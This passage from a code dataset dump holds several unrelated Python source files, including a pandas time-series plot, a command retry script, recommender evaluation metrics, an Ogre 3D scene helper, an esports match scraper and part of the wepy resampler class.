MA\"] = df_2[\"Close\"].rolling(window=20).mean()\ndf_2[\"Upper\"] = df_2[\"Close 20 day MA\"] + 2 * (df_2[\"Close\"].rolling(window=20).std())\ndf_2[\"Lower\"] = df_2[\"Close 20 day MA\"] - 2 * (df_2[\"Close\"].rolling(window=20).std())\ndf_2[[\"Close 20 day MA\", \"Upper\", \"Lower\", \"Close\"]].tail(150).plot(figsize=(16,6))\nplt.show()\n","sub_path":"BasicTrading/4-Pandas_TimeSeries.py","file_name":"4-Pandas_TimeSeries.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"464926981","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\nimport sys\nimport os\nimport time\nimport subprocess\nimport argparse\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Retry an executable with backoff until it passes or a timeout occurs.\")\n parser.add_argument(\"--max-wait\", type=int, default=300, metavar=\"SECONDS\")\n parser.add_argument(\"--check-interval\", type=int, default=10, metavar=\"SECONDS\")\n parser.add_argument(\"args\", nargs=argparse.REMAINDER, metavar=\"CMD ARG1 ARG2 ... ARG3\")\n args = parser.parse_args()\n\n if not args.args:\n parser.error(\"Please specify an application to run.\")\n\n endtime = time.time() + args.max_wait\n output = \"\"\n returncode = 0\n while time.time() < endtime:\n try:\n output = subprocess.check_output(args.args, stderr=subprocess.STDOUT).strip()\n returncode = 0\n break\n except subprocess.CalledProcessError as e:\n output = e.output.strip()\n returncode = e.returncode\n print(\"Sleeping for {0} seconds until next check...\".format(\n args.check_interval))\n time.sleep(args.check_interval)\n\n if returncode != 0:\n print(\"Command failed for over {} seconds.\".format(args.max_wait))\n print(\"Result from last retry:\")\n print(output)\n\n return returncode\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"retry.py","file_name":"retry.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"196974285","text":"from .defaults import _C as cfg\n\n__all__ = [\"cfg\", \"get_config\"]\n\n\ndef get_config(config_file=None, overload_parameters=None):\n if config_file is not None:\n cfg.merge_from_file(config_file)\n\n if overload_parameters is not None:\n cfg.merge_from_list(overload_parameters)\n\n return cfg\n\n\n\n","sub_path":"mcdc/config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"380097960","text":"import pickle\nimport numpy as np\nfrom sklearn.metrics import roc_auc_score, roc_curve, auc\nimport utils\nimport pandas as pd\nfrom multiprocessing import Pool\n\n\ndef init(args):\n global POS_ITEMS, USER_NUM, ITEM_NUM, ITEM_ARRAY, Ks, VA_LBS, TS_LBS, TS_NDCG, BATCH_SIZE\n para_dict = pickle.load(open(args.datadir + args.dataset + '/warm_dict.pkl', 'rb'))\n print('ndcg init for %s, %d user %d items' % (args.dataset, para_dict['user_num'], para_dict['item_num']))\n POS_ITEMS = para_dict['pos_nb']\n USER_NUM = para_dict['user_num']\n ITEM_NUM = para_dict['item_num']\n ITEM_ARRAY = np.array(list(range(ITEM_NUM)))\n\n val_items = para_dict['val_nb']\n VA_LBS = utils.label_neg_samp(list(val_items.keys()),\n support_dict=val_items,\n item_array=ITEM_ARRAY,\n neg_rate=5,\n exclude_dict=POS_ITEMS)\n\n test_items = para_dict['test_nb']\n TS_LBS = utils.label_auc(list(test_items.keys()),\n support_dict=test_items,\n item_array=ITEM_ARRAY,\n exclude_dict=POS_ITEMS)\n TS_NDCG = list(\n map(lambda x: utils.ndcg_sampling(x, test_items, 100, ITEM_ARRAY, POS_ITEMS), list(test_items.keys())))\n\n BATCH_SIZE = args.batch_size\n if isinstance(args.Ks, str):\n Ks = eval(args.Ks)\n else:\n Ks = args.Ks\n\n\ndef _dcg(x):\n # compute dcg_vle\n return x[0] + np.sum(x[1:] / np.log2(np.arange(2, len(x) + 1)))\n\n\ndef _auc(model, pred_func, lbs=None):\n if lbs is None:\n lbs = VA_LBS\n pred = pred_func(model, lbs)\n y_true = lbs[:, -1]\n fpr, tpr, thresholds = roc_curve(y_true, pred, pos_label=1)\n return auc(fpr, tpr)\n\n\ndef _fast_user_ndcg(pairs):\n def _simp_ndcg(lbs, pred):\n # Compute ncdg when the feeding data is one positive vs all negative\n labels = lbs[:, -1]\n pred = pred.reshape(-1)\n rerank_indices = np.argsort(pred)[::-1]\n rerank_labels = labels[rerank_indices]\n # DCG scores\n dcgs = np.array([_dcg(rerank_labels[:k]) for k in Ks])\n hrs = np.array([np.sum(rerank_labels[:k]) for k in Ks])\n return np.stack([hrs, dcgs])\n\n # compute the ndcg value of a given user\n return np.mean(np.stack(\n [_simp_ndcg(pairs[0][_], pairs[1][_]) for _ in range(pairs[0].shape[0])]), axis=0)\n\n\ndef batch_predict(model, pred_func, lbs):\n outs = []\n for begin in range(0, lbs.shape[0], BATCH_SIZE):\n end = min(begin + BATCH_SIZE, lbs.shape[0])\n batch_lbs = lbs[begin:end, :]\n outs.append(pred_func(model, batch_lbs))\n out = np.hstack(outs)\n return out\n\n\ndef _fast_ndcg(model, pred_func, blocks=None, partial=False):\n if blocks is None:\n blocks = TS_NDCG\n if partial:\n blocks = TS_NDCG[:partial]\n user_id = []\n for b in blocks:\n user_id.append((b[0][0][0], len(b)))\n b_size = blocks[0].shape[1]\n lbs = np.vstack(blocks).reshape([-1, 3])\n pred_lbs = batch_predict(model, pred_func, lbs).reshape([-1, b_size, 1])\n s = 0\n user_lbs = []\n for _ in user_id:\n user_lbs.append(pred_lbs[s:s + _[1]])\n s += _[1]\n assert s == pred_lbs.shape[0]\n ndcg_list = list(zip(blocks, user_lbs))\n with Pool(5) as pool:\n user_scores = np.stack(list(pool.map(_fast_user_ndcg, ndcg_list)))\n # user_scores = np.stack(list(map(_fast_user_ndcg, ndcg_list)))\n scores = np.mean(np.stack(user_scores), axis=0)\n d = {}\n d['hr'] = scores[0]\n d['ndcg'] = scores[1]\n d['auc'] = _auc(model, pred_func, TS_LBS)\n return d\n","sub_path":"PGR/ndcg.py","file_name":"ndcg.py","file_ext":"py","file_size_in_byte":3654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"625679880","text":"'''\ncat day_6_input.txt | pypy3 day_6_2.py\n'''\n\nimport sys\nfrom collections import Counter\n\nmessages = [message.strip() for message in sys.stdin.readlines()]\nmessage_length = len(messages[0])\ncounters = [Counter() for i in range(message_length)]\nfor message in messages:\n for i in range(message_length):\n character = message[i]\n counters[i][character] -= 1\ncorrected_message = \"\".join([counter.most_common(1)[0][0] for counter in counters])\nprint(corrected_message)\n","sub_path":"2016/day_6_2.py","file_name":"day_6_2.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"175277202","text":"import numpy as np\nimport devfx.exceptions as exps\nimport devfx.core as core\nfrom .runner import Runner\n\nclass EpisodicRunner(Runner):\n def __init__(self, agents):\n super().__init__(agents=agents)\n\n \"\"\"------------------------------------------------------------------------------------------------\n \"\"\"\n class RunningParameters(Runner.RunningParameters):\n def __init__(self, agents):\n super().__init__(agents=agents)\n self.episode_count = 0\n self.episode_number = {}\n self.randomness = 1.0\n\n @property\n def episode_count(self):\n return self.__episode_count\n\n @episode_count.setter\n def episode_count(self, value):\n self.__episode_count = value\n\n\n @property\n def episode_number(self):\n return self.__episode_number\n\n @episode_number.setter\n def episode_number(self, value):\n self.__episode_number = value\n\n\n @property\n def randomness(self):\n return self.__randomness\n\n @randomness.setter\n def randomness(self, value):\n self.__randomness = value\n\n\n def _run(self, episode_count=1, randomness=1.0):\n running_parameters = EpisodicRunner.RunningParameters(agents=super().get_agents())\n running_parameters.episode_count = episode_count\n running_parameters.episode_number = { agent : 0 for agent in super().get_agents() }\n running_parameters.randomness = randomness\n\n for agent in self.get_agents(): \n agent.set_random_non_terminal_state()\n running_parameters.episode_number[agent] = 1\n\n while(True):\n for agent in super().get_agents(): \n if(agent.is_in_non_terminal_state()):\n rv = np.random.uniform(size=1)\n if(rv <= running_parameters.randomness):\n agent.do_random_action()\n else:\n agent.do_action()\n else:\n if(running_parameters.episode_number[agent] <= (running_parameters.episode_count-1)):\n agent.set_random_non_terminal_state()\n if(running_parameters.episode_number[agent] <= running_parameters.episode_count):\n running_parameters.episode_number[agent] += 1\n\n super().running_status(source=self, signal_args=core.SignalArgs(running_parameters=running_parameters))\n\n if(all((running_parameters.episode_number[agent] > running_parameters.episode_count) for agent in super().get_agents())):\n break\n if(running_parameters.cancellation_token.is_cancellation_requested()):\n break\n\n\n","sub_path":"solution/devfx/machine_learning/rl/runners/episodic_runner.py","file_name":"episodic_runner.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"203406437","text":"from waveapi import events\nfrom waveapi import robot\nfrom waveapi import element\nfrom waveapi import appengine_robot_runner\nimport logging\n\n# Events\n\ndef OnWaveletSelfAdded(event, wavelet):\n\t\"\"\"Invoked when the robot has been added.\"\"\"\n\tlogging.info(\"OnWaveletSelfAdded called\")\n\n\twavelet.title = \"Invite You All - Robot\"\n\twavelet.root_blip.append(\"\\nUsage: just separate your contacts, the id only, with a comma, then click the invite button.\")\n\twavelet.root_blip.append(\"\\n\\nThe following blip is an example group of you and the inviteyouall robot creator.\")\n\n\t# sample group\n\tcreator_string = wavelet.creator.__str__()\n\tcreator_id, creator_domain = creator_string.split(\"@\")\n\twavelet.reply(\"warenix, %s\" % creator_id)\n\ndef OnWaveletBlipCreated(event, wavelet):\n\n\tlogging.info(\"OnWaveletBlipCreated\")\n\n\tlogging.info(\"wavelet creator: %s\" % wavelet.creator)\n\tif wavelet.creator == \"rusty@a.gwave.com\" or wavelet.creator == \"inviteyouall@appspot.com\":\n\t\tlogging.info(\"this is not a group blip, do nothing\")\n\t\treturn\n\n\tlogging.info(\"create invite button\")\n\n\tnew_blip = event.new_blip\n\tnew_blip.append('\\n')\n\tnew_blip.append(element.Button(\"inviteButton\", \"Invite You All!\"))\n\ndef OnFormButtonClicked(event, wavelet):\n\tlogging.info(\"OnBlipSubmitted\")\n\tblip = event.blip\n\n\t# if participant_list is based on wavelet.participants,\n\t# they will also be added to the wavelet,\n\t# which is not wanted.\n\tparticipant_id_list = blip.text.split(\",\")\n\tparticipant_list = blip.contributors\n\n\tfor participant_id in participant_id_list:\n\t\tparticipant = \"%s@%s\" % (trim(participant_id), wavelet.domain)\n\t\tparticipant_list.add(participant)\n\t\tlogging.info(\"with participants: %s\" % participant)\n\n\tcreaetANewWave(wavelet, participant_list)\n\ndef creaetANewWave(wavelet, participant_list):\n\tlogging.info(\"creaetANewWave\")\n\n\tmyRobot = robot.Robot('inviteyouall',\n\t\timage_url='http://inviteyouall.appspot.com/assets/icon.png',\n\t\tprofile_url='http://code.google.com/p/warenix/wiki/inviteyouall')\n\n\tnewWave = myRobot.new_wave(wavelet.domain,\n\t\t\tparticipant_list,\n\t\t\tmessage=wavelet.serialize())\n\tnewWave.submit_with(wavelet)\n\n\tlogging.info(\"end create a new wave\")\n\ndef trim(string):\n\treturn string.strip().lstrip()\n\n\nif __name__ == '__main__':\n\tmyRobot = robot.Robot('inviteyouall',\n\t\timage_url='http://inviteyouall.appspot.com/assets/icon.png',\n\t\tprofile_url='http://code.google.com/p/warenix/wiki/inviteyouall')\n\n\tmyRobot.register_handler(events.WaveletSelfAdded, OnWaveletSelfAdded)\n\tmyRobot.register_handler(events.FormButtonClicked, OnFormButtonClicked)\n\tmyRobot.register_handler(events.WaveletBlipCreated, OnWaveletBlipCreated)\n\tappengine_robot_runner.run(myRobot)\n","sub_path":"inviteyouall/src/inviteyouall/inviteyouall.py","file_name":"inviteyouall.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"440945445","text":"# uses OGRE's plane creation to do a variety of things\nfrom __future__ import division #prevents integer division\nimport ogre.renderer.OGRE as ogre\n\nclass PlaneMaker:\n \n def __init__(self, sceneManager):\n self.sceneManager = sceneManager\n \n def makePlane(self, textureName='Tupaia3D/PerlinNoiseHigh', meshName='planeMesh', textureTileNum=(1,1), objName='myPlane', centerPoint=(0,0,0), size=(1,1), normalVector=(0,1,0), upVector=(0,0,1)):\n meshManager = ogre.MeshManager.getSingleton()\n plane = ogre.Plane(normalVector, 0)\n meshManager.createPlane(meshName, 'General', plane,\n size[0], size[1], 20, 20, True, 1, textureTileNum[0], textureTileNum[1], upVector)\n \n ent = self.sceneManager.createEntity(objName, meshName)\n node = self.sceneManager.getRootSceneNode().createChildSceneNode()\n node.translate(centerPoint)\n node.attachObject(ent)\n ent.setMaterialName(textureName)\n ent.castShadows = False\n \n def makeCube(self, textureNames=['Tupaia3D/PerlinNoiseHigh']*6, textureTileNums=[(1,1)]*6, objName='myCube', centerPoint=(0,0,0), size=(1,1), normalsPointOut=True):\n \n planeNormals = [\n (0,1,0), #floor\n (0,-1,0), #ceiling\n (1,0,0), #left\n (-1,0,0), #right\n (0,0,-1), #front wall\n (0, 0, 1)] #back wall\n \n if normalsPointOut:\n pn = []\n for i in range(0,len(planeNormals)):\n p = (-planeNormals[i][0],-planeNormals[i][1],-planeNormals[i][2])\n pn.append(p)\n planeNormals = pn\n \n #General rule: textures point upwards or backwards\n upVectors = [\n (0, 0, -1), #floor\n (0, 0, -1), #ceiling\n (0, 0, -1), #left\n (0, 0, -1), #right\n (0, 1, 0), #front wall\n (0, 1, 0)] #back wall\n \n translates = [\n [centerPoint[0],centerPoint[1]-size[1]/2,centerPoint[2]], #floor\n [centerPoint[0],centerPoint[1]+size[1]/2,centerPoint[2]], #ceiling\n [centerPoint[0]-size[0]/2,centerPoint[1],centerPoint[2]], #left\n [centerPoint[0]+size[0]/2,centerPoint[1],centerPoint[2]], #right\n [centerPoint[0],centerPoint[1],centerPoint[2]+size[2]/2], #front wall\n [centerPoint[0],centerPoint[1],centerPoint[2]-size[2]/2] #back wall\n ]\n \n planeSizes = [\n [size[0],size[2]], #floor\n [size[0],size[2]], #ceiling\n [size[1],size[2]], #left\n [size[1],size[2]], #right\n [size[0],size[1]], #front wall\n [size[0],size[1]] #back wall\n ]\n \n meshManager = ogre.MeshManager.getSingleton()\n for i in range(0,len(planeNormals)):\n plane = ogre.Plane(planeNormals[i], 0)\n meshManager.createPlane(objName + str(i), 'General', plane,\n planeSizes[i][0], planeSizes[i][1], 20, 20, True, 1, textureTileNums[i][0], textureTileNums[i][1], upVectors[i])\n ent = self.sceneManager.createEntity(objName + 'Entity' + str(i), objName + str(i))\n node = self.sceneManager.getRootSceneNode().createChildSceneNode()\n node.translate(translates[i])\n node.attachObject(ent)\n ent.setMaterialName(textureNames[i])\n ent.castShadows = False\n ","sub_path":"tupaia3D/ogre/PlaneMaker.py","file_name":"PlaneMaker.py","file_ext":"py","file_size_in_byte":3438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"380474312","text":"from pyquery import PyQuery as pq\nimport json\nfrom pprint import pprint\nfrom config import configuration as cfg\nfrom playerinfo import playerinfo as playerinfo\n\n\"\"\"\nThis function processes the dictionary of match data\nby adding, removing and modifying various keys and values.\n\"\"\"\ndef processGame(jsonmatchdata):\n matchnumber = list(jsonmatchdata)[0]\n matchdoc = jsonmatchdata[matchnumber]\n\n if cfg['dev']['log']:\n print('gameID: ' + str(matchnumber))\n if int(matchnumber) in cfg['gamematchnumbers']['na']:\n region = 'na'\n elif int(matchnumber) in cfg['gamematchnumbers']['eu']:\n region = 'eu'\n #Game EG vs. C9 in between 1882 and 1884 got assigned match number 2156 by Riot\n #these lines catch the chronological error and corrects it for storing in the database.\n elif int(matchnumber) == 2156:\n matchnumber = 1883\n region = 'na'\n else:\n print(matchnumber)\n return 'Error: Match number not recognized'\n\n winteamname = ''\n winteamid = ''\n loseteamname = ''\n loseteamid = ''\n for teamid, team in matchdoc.items():\n for playerid, player in team.items():\n \"\"\"rename some key fields and store match information. region, matchid, etc.\"\"\"\n\n player['playername'] = player.pop('player field')\n player['teamid'] = teamid\n player['matchid'] = int(matchnumber)\n player['region'] = region\n player['playerid'] = playerid\n player['teamid'] = teamid\n player['teamname'] = playerinfo[player['playername']][1]\n player['role'] = playerinfo[player['playername']][0]\n\n \"\"\"determine which team won and which team lost. store that info.\"\"\"\n if player['win'] == 1:\n winteamname = player['teamname']\n winteamid = teamid\n elif player['win'] == 0:\n loseteamname = player['teamname']\n loseteamid = teamid\n \n \"\"\"switch key names to playername instead of playerid. assign appropriate team.\"\"\"\n for playerid, player in team.items():\n playername = player['playername']\n team[playername] = team.pop(playerid)\n matchdoc['playerlist'] = []\n matchdoc['winteamname'] = winteamname\n matchdoc['winteamid'] = winteamid\n matchdoc['loseteamname'] = loseteamname\n matchdoc['loseteamid'] = loseteamid\n\n matchdoc['players'] = matchdoc.pop(matchdoc['winteamid'])\n for playername, player in matchdoc.pop(matchdoc['loseteamid']).items():\n matchdoc['players'][playername] = player\n for playername, player in matchdoc['players'].items():\n matchdoc['playerlist'].append(playername)\n matchdoc['gameID'] = int(matchnumber)\n matchdoc['region'] = region\n matchdoc['scored'] = 0\n matchdoc['analyzed'] = 0\n matchdoc['statistics'] = {}\n\n #for redundancy\n for playername in list(matchdoc['playerlist']):\n if playername not in list(playerinfo):\n pid = playername\n pname = matchdoc['players'][pid]['playername']\n matchdoc['players'][pname] = matchdoc['players'].pop(pid)\n matchdoc['playerlist'].remove(pid)\n matchdoc['playerlist'].append(pname)\n\n\n return matchdoc\n\ndef retrieveGame(url):\n page = pq(url=url)\n if cfg['dev']['log']:\n print(url)\n parsedpage = page(\"script:contains('jQuery.extend')\").html()[31:-2]\n jsonmatchdata = json.loads(parsedpage)[\"esportsDataDump\"][\"matchDataDump\"]\n return jsonmatchdata\n\n\"\"\"\nRuns necessary functions to retrieve, parse, and format the match data.\nReturns a dictionary with match data.\n\"\"\"\ndef retrieveandprocessGame(urlmatchnumber):\n if cfg['dev']['log']:\n print('URLmatch: ' + str(urlmatchnumber))\n url = cfg['retrieveurl'] + str(urlmatchnumber)\n jsonmatchdata = retrieveGame(url)\n matchdoc = processGame(jsonmatchdata)\n # print(matchdoc)\n matchdoc['URLmatchnumber'] = urlmatchnumber\n return matchdoc\n\n\"\"\"\nTests\n\"\"\"\ndef _testNA():\n for urlmatchnumber in cfg['urlmatchnumbers']['na']:\n retrieveandprocessGame(urlmatchnumber)\ndef _testEU():\n for urlmatchnumber in cfg['urlmatchnumbers']['eu']:\n retrieveandprocessGame(urlmatchnumber)\n\nif cfg['dev']['scraper']:\n try:\n _testNA()\n except KeyError:\n print('No more games NA')\n\n try:\n _testEU()\n except KeyError:\n print('No more games EU')\n\n#For singular test cases. Accepts urlmatchnumber as argument. Refer to config.py\n# pprint(retrieveandprocessGame(1693))\n\n","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":4614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"487410414","text":"import itertools as it\nfrom collections import defaultdict\nfrom warnings import warn\nimport logging\n\nimport numpy as np\n\nfrom wepy.resampling.decisions.decision import NoDecision\n\nclass ResamplerError(Exception):\n \"\"\" \"\"\"\n pass\n\nclass Resampler():\n \"\"\" \"\"\"\n # data for resampling performed (continual)\n RESAMPLING_FIELDS = ()\n \"\"\"String names of fields produced in this record group.\n\n Resampling records are typically used to report on the details of\n how walkers are resampled for a given resampling step.\n\n Warning\n -------\n\n This is a critical function of many other components of the wepy\n framework and probably shouldn't be altered by most developers.\n\n Thi is where the information about cloning and merging of walkers\n is given. Seeing as this is a most of the value proposition of\n wepy as a tool getting rid of it will render most of the framework\n useless.\n\n But sticking to the 'loosely coupled, tightly integrated' mantra\n you are free to modify these fields. This would be useful for\n implementing resampling strategies that do not follow basic\n cloning and merging. Just beware, that most of the lineage based\n analysis will be broken without implementing a new Decision class.\n\n \"\"\"\n\n RESAMPLING_SHAPES = ()\n \"\"\"Numpy-style shapes of all fields produced in records.\n\n There should be the same number of elements as there are in the\n corresponding 'FIELDS' class constant.\n\n Each entry should either be:\n\n A. A tuple of ints that specify the shape of the field element\n array.\n\n B. Ellipsis, indicating that the field is variable length and\n limited to being a rank one array (e.g. (3,) or (1,)).\n\n C. None, indicating that the first instance of this field will not\n be known until runtime. Any field that is returned by a record\n producing method will automatically interpreted as None if not\n specified here.\n\n Note that the shapes must be tuple and not simple integers for rank-1\n arrays.\n\n Option B will result in the special h5py datatype 'vlen' and\n should not be used for large datasets for efficiency reasons.\n\n \"\"\"\n\n RESAMPLING_DTYPES = ()\n \"\"\"Specifies the numpy dtypes to be used for records.\n\n There should be the same number of elements as there are in the\n corresponding 'FIELDS' class constant.\n\n Each entry should either be:\n\n A. A `numpy.dtype` object.\n\n D. None, indicating that the first instance of this field will not\n be known until runtime. Any field that is returned by a record\n producing method will automatically interpreted as None if not\n specified here.\n\n \"\"\"\n\n RESAMPLING_RECORD_FIELDS = ()\n \"\"\"Optional, names of fields to be selected for truncated\n representation of the record group.\n\n These entries should be strings that are previously contained in\n the 'FIELDS' class constant.\n\n While strictly no constraints on to which fields can be added here\n you should only choose those fields whose features could fit into\n a plaintext csv or similar format.\n\n \"\"\"\n\n # changes to the state of the resampler (sporadic)\n RESAMPLER_FIELDS = ()\n \"\"\"String names of fields produced in this record group.\n\n Resampler records are typically used to report on changes in the\n state of the resampler.\n\n Notes\n -----\n\n These fields are not critical to the proper functioning of the\n rest of the wepy framework and can be modified freely.\n\n However, reporters specific to this resampler probably will make\n use of these records.\n\n \"\"\"\n\n RESAMPLER_SHAPES = ()\n \"\"\"Numpy-style shapes of all fields produced in records.\n\n There should be the same number of elements as there are in the\n corresponding 'FIELDS' class constant.\n\n Each entry should either be:\n\n A. A tuple of ints that specify the shape of the field element\n array.\n\n B. Ellipsis, indicating that the field is variable length and\n limited to being a rank one array (e.g. (3,) or (1,)).\n\n C. None, indicating that the first instance of this field will not\n be known until runtime. Any field that is returned by a record\n producing method will automatically interpreted as None if not\n specified here.\n\n Note that the shapes must be tuple and not simple integers for rank-1\n arrays.\n\n Option B will result in the special h5py datatype 'vlen' and\n should not be used for large datasets for efficiency reasons.\n\n \"\"\"\n\n RESAMPLER_DTYPES = ()\n \"\"\"Specifies the numpy dtypes to be used for records.\n\n There should be the same number of elements as there are in the\n corresponding 'FIELDS' class constant.\n\n Each entry should either be:\n\n A. A `numpy.dtype` object.\n\n D. None, indicating that the first instance of this field will not\n be known until runtime. Any field that is returned by a record\n producing method will automatically interpreted as None if not\n specified here.\n\n \"\"\"\n\n RESAMPLER_RECORD_FIELDS = ()\n \"\"\"Optional, names of fields to be selected for truncated\n representation of the record group.\n\n These entries should be strings that are previously contained in\n the 'FIELDS' class constant.\n\n While strictly no constraints on to which fields can be added here\n you should only choose those fields whose features could fit into\n a plaintext csv or similar format.\n\n \"\"\"\n\n\n # valid debug modes\n DEBUG_MODES = (True, False,)\n\n def __init__(self, min_num_walkers=Ellipsis,\n max_num_walkers=Ellipsis,\n debug_mode=False):\n\n # the min and max number of walkers that can be generated in\n # resampling.\n\n # Ellipsis means to keep bound it by the number of\n # walkers given to the resample method (e.g. if\n # max_num_walkers == Ellipsis and min_num_walkers == 5 and\n # resample is given 10 then the max will be set to 10 for that\n # resampling and the min will always be 5. If both are\n # Ellipsis then the number of walkers is kept the same)\n\n # None means that there is no bound, e.g. max_num_walkers ==\n # None then there is no maximum number of walkers, however a\n # min_num_walkers of None in practice is 1 since there must\n # always be at least 1 walker\n\n if min_num_walkers not in (Ellipsis, None):\n if min_num_walkers < 1:\n raise ResamplerError(\"The minimum number of walkers should be at least 1\")\n\n self._min_num_walkers = min_num_walkers\n self._max_num_walkers = max_num_walkers\n\n # initialize debug mode\n self._debug_mode = False\n\n # set them to the args given\n self.set_debug_mode(debug_mode)\n\n def resampling_field_names(self):\n \"\"\"Access the class level FIELDS constant for this record group.\"\"\"\n return self.RESAMPLING_FIELDS\n\n def resampling_field_shapes(self):\n \"\"\"Access the class level SHAPES constant for this record group.\"\"\"\n return self.RESAMPLING_SHAPES\n\n def resampling_field_dtypes(self):\n \"\"\"Access the class level DTYPES constant for this record group.\"\"\"\n return self.RESAMPLING_DTYPES\n\n def resampling_fields(self):\n \"\"\"Returns a list of zipped field specs.\n\n Returns\n -------\n\n record_specs : list of tuple\n A list of the specs for each field, a spec is a tuple of\n type (field_name, shape_spec, dtype_spec)\n \"\"\"\n return list(zip(self.resampling_field_names(),\n self.resampling_field_shapes(),\n self.resampling_field_dtypes()))\n\n def resampling_record_field_names(self):\n \"\"\"Access the class level RECORD_FIELDS constant for this record group.\"\"\"\n return self.RESAMPLING_RECORD_FIELDS\n\n def resampler_field_names(self):\n \"\"\"Access the class level FIELDS constant for this record group.\"\"\"\n return self.RESAMPLER_FIELDS\n\n def resampler_field_shapes(self):\n \"\"\"Access the class level SHAPES constant for this record group.\"\"\"\n return self.RESAMPLER_SHAPES\n\n def resampler_field_dtypes(self):\n \"\"\"Access the class level DTYPES constant for this record group.\"\"\"\n return self.RESAMPLER_DTYPES\n\n def resampler_fields(self):\n \"\"\"Returns a list of zipped field specs.\n\n Returns\n -------\n\n record_specs : list of tuple\n A list of the specs for each field, a spec is a tuple of\n type (field_name, shape_spec, dtype_spec)\n \"\"\"\n return list(zip(self.resampler_field_names(),\n self.resampler_field_shapes(),\n self.resampler_field_dtypes()))\n\n def resampler_record_field_names(self):\n \"\"\"Access the class level RECORD_FIELDS constant for this record group.\"\"\"\n return self.RESAMPLER_RECORD_FIELDS\n\n @property\n def is_debug_on(self):\n \"\"\" \"\"\"\n return self._debug_mode\n\n def set_debug_mode(self, mode):\n \"\"\"\n\n Parameters\n ----------\n mode :\n \n\n Returns\n -------\n\n \"\"\"\n\n if mode not in self.DEBUG_MODES:\n raise ValueError(\"debug mode, {}, not valid\".format(mode))\n\n self._debug_mode = mode\n\n # if you want to use debug mode you have to have ipdb installed\n if self.is_debug_on:\n try:\n import ipdb\n except ModuleNotFoundError:\n raise ModuleNotFoundError(\"You must have ipdb installed to use the debug feature\")\n\n def debug_on(self):\n \"\"\" \"\"\"\n if self.is_debug_on:\n warn(\"Debug mode is already on\")\n\n self.set_debug_mode(True)\n\n def debug_off(self):\n \"\"\" \"\"\"\n if not self.is_debug_on:\n warn(\"Debug mode is already off\")\n\n self.set_debug_mode(False)\n\n @property\n def max_num_walkers_setting(self):\n \"\"\" \"\"\"\n return self._max_num_walkers\n\n @property\n def min_num_walkers_setting(self):\n \"\"\" \"\"\"\n return self._min_num_walkers\n\n def max_num_walkers(self):\n \"\"\"\" Get the max number of walkers allowed currently\"\"\"\n\n # first check to make sure that a resampling is occuring and\n # we have a number of walkers to even reference\n if self._resampling_num_walkers is None:\n raise ResamplerError(\n \"A resampling is currently not taking place so the\"\\\n \" current number of walkers is not known.\")\n\n # we are in a resampling so there is a current value for the\n # max number of walkers\n else:\n\n # if the max is None then there is no max number of\n # walkers so we just return None\n if self.max_num_walkers_setting is None:\n return None\n\n # if the max is Ellipsis then we just return what the\n # current number of walkers is\n elif self.max_num_walkers_setting is Ellipsis:\n return self._resampling_num_walkers\n\n # if it is not those then it is a hard number and we just\n # return it\n else:\n return self.max_num_walkers_setting\n\n def min_num_walkers(self):\n \"\"\"\" Get the min number of walkers allowed currently\"\"\"\n\n # first check to make sure that a resampling is occuring and\n # we have a number of walkers to even reference\n if self._resampling_num_walkers is None:\n raise ResamplerError(\n \"A resampling is currently not taking place so the\"\\\n \" current number of walkers is not known.\")\n\n # we are in a resampling so there is a current value for the\n # min number of walkers\n else:\n\n # if the min is None then there is no min number of\n # walkers so we just return None\n if self.min_num_walkers_setting is None:\n return None\n\n # if the min is Ellipsis then we just return what the\n # current number of walkers is\n elif self.min_num_walkers_setting is Ellipsis:\n return self._resampling_num_walkers\n\n # if it is not those then it is a hard number and we just\n # return it\n else:\n return self.min_num_walkers_setting\n\n\n def _set_resampling_num_walkers(self, num_walkers):\n \"\"\"\n\n Parameters\n ----------\n num_walkers :\n \n\n Returns\n -------\n\n \"\"\"\n\n # there must be at least 1 walker in order to do resampling\n if num_walkers < 1:\n raise ResamplerError(\"No walkers were given to resample\")\n\n # if the min number of walkers is not dynamic check to see if\n # this number violates the hard boundary\n if self._min_num_walkers in (None, Ellipsis):\n self._resampling_num_walkers = num_walkers\n elif num_walkers < self._min_num_walkers:\n raise ResamplerError(\n \"The number of walkers given to resample is less than the minimum\")\n\n # if the max number of walkers is not dynamic check to see if\n # this number violates the hard boundary\n if self._max_num_walkers in (None, Ellipsis):\n self._resampling_num_walkers = num_walkers\n elif num_walkers < self._max_num_walkers:\n raise ResamplerError(\n \"The number of walkers given to resample is less than the maximum\")\n\n def _unset_resampling_num_walkers(self):\n \"\"\" \"\"\"\n\n self._resampling_num_walkers = None\n\n\n\n def _resample_init(self, walkers):\n \"\"\"Common initialization stuff for resamplers.\n\n Parameters\n ----------\n walkers :\n \n\n Returns\n -------\n\n \"\"\"\n\n # first set how many walkers there are in this resampling\n self._set_resampling_num_walkers(len(walkers))\n\n def _resample_cleanup(self):\n \"\"\" \"\"\"\n\n # unset the number of walkers for this resampling\n self._unset_resampling_num_walkers()\n\n\n def resample(self, walkers, debug_mode=False):\n \"\"\"\n\n Parameters\n ----------\n walkers :\n \n debug_mode :\n (Default value = False)\n\n Returns\n -------\n\n \"\"\"\n\n raise NotImplemented\n\n self._resample_init(walkers, debug_mode=debug_mode)\n\n\n def 